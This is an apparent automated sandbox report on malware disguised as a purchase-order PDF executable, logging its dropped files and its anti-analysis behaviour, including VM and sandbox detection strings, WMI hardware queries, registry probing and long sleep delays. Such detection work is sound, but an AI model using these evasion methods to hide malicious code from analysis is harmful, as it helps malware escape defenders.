Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: asGTRKuvQ.exe PID: 6548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 2096, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.318747990.00000000032D1000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000015.00000002.521378994.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.318747990.00000000032D1000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000015.00000002.521378994.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6940	Thread sleep count: 75 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6940	Thread sleep time: -37500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE TID: 7044	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE TID: 6428	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe TID: 6436	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Zip.exe TID: 4364	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Zip.exe TID: 4364	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe TID: 5116	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe TID: 5792	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe TID: 5992	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe TID: 5188	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe TID: 5188	Thread sleep time: -45000s >= -30000s
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe TID: 1868	Thread sleep count: 9426 > 30
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe TID: 4300	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe TID: 4300	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe TID: 2244	Thread sleep count: 9504 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Dropped PE file which has not been started: C:\Users\user\Downloads\Newtonsoft.Json.dll			Jump to dropped file

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Window / User API: threadDelayed 9520	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Window / User API: threadDelayed 9638
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Window / User API: threadDelayed 9426
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Window / User API: threadDelayed 9504

Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 name: Identifier
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum name: 0
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 3_2_024FB1D6 GetSystemInfo,

3_2_024FB1D6

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Thread delayed: delay time: 922337203685477

Source: update_232107.exe, 00000021.00000002.561122212.0000000006FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCAM3VH`ST
Source: update_232107.exe, 00000021.00000002.561122212.0000000006FF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: update_232107.exe, 0000002A.00000002.631758689.0000000001089000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll90
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.392142470.000000000782B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
Source: update_232107.exe, 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
